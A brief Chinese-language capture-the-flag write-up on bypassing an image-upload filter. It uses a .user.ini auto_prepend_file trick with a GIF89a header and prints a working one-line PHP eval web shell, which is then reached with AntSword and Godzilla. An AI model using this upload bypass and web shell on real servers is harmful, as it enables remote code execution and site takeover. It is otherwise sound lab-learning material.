天命:好像也不太easy
本条题目有好几个防御点:
- 后缀名防御:只能上传图片格式
- 内容防御:内容不能有php
- 图片头防御:检测文件的头部信息,是否是图片头
首先判断只能上传图片格式的话,
那只能通过其他漏洞来把图片解析成php才能构成漏洞了
看了一下别人wp,原来是利用php的配置文件来实现漏洞攻击
php的 user.ini 配置文件里,有一个参数是在文件运行前把某个文件包含进来的
auto_prepend_file=文件名
我们只需要做一个局部配置文件,即可触发效果
然后上传图片,把图片包含进来即可
就相当于触发了文件包含漏洞
步骤一:准备文件
准备 .user.ini 文件,这里的GIF89a是用来绕过防御三(看上面)
GIF89a
auto_prepend_file=a.jpg
准备 a.jpg 文件,这里取消用 <?php ?>
采用了短标签写法,php7.0之后弃用,7.4好像就取消了,所以这题应该是php5
GIF89a
<?=@eval($_POST['pass']);?>
步骤二:上传文件
先上传 .user.ini ,记得改成图片类型
再上传 a.jpg ,正常上传就行
然后查看一下流量去哪里了
说实话这里我也没看懂,只知道 .user.ini文件会应该 php 文件来包含 a.jpg
所以我们的木马应该是在这个 index.php 文件里连接
中国蚁剑getshell完事
flag在最外面的地方
真机测试:成功
用phpstudy和使用upload-labs靶场的第一关,步骤同上,上传完两个文件后
用哥斯拉连接,成功
这里有一个小细节,你需要upload目录下的一个php文件才可以,不然没东西包含进去